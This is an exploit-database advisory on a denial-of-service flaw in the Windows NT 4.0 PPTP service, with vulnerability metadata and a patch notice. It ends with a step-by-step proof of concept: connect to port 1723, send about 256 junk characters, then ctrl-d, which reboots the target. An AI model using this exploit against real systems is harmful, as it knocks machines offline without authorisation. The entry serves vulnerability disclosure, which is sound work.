Microsoft Windows NT PPTP Denial of Service Vulnerability

vendor:

Windows NT

by:

SecurityFocus

7.5

CVSS

HIGH

Denial of Service

399

CWE

Product Name: Windows NT

Affected Version From: Microsoft Windows NT 4.0

Affected Version To: Microsoft Windows NT 4.0 Service Pack 4

Patch Exists: YES

Related CWE: CVE-2000-0240

CPE: o:microsoft:windows_nt:4.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows NT

2000

Microsoft Windows NT PPTP Denial of Service Vulnerability

A denial of service vulnerability exists in Microsoft Windows NT 4.0 up to and including Service Pack 4 running the Point-to-Point-Tunneling Protocol (PPTP) service. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d, which causes the target machine to reboot.

Mitigation:

Microsoft has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2111/info

Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot. 

1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-d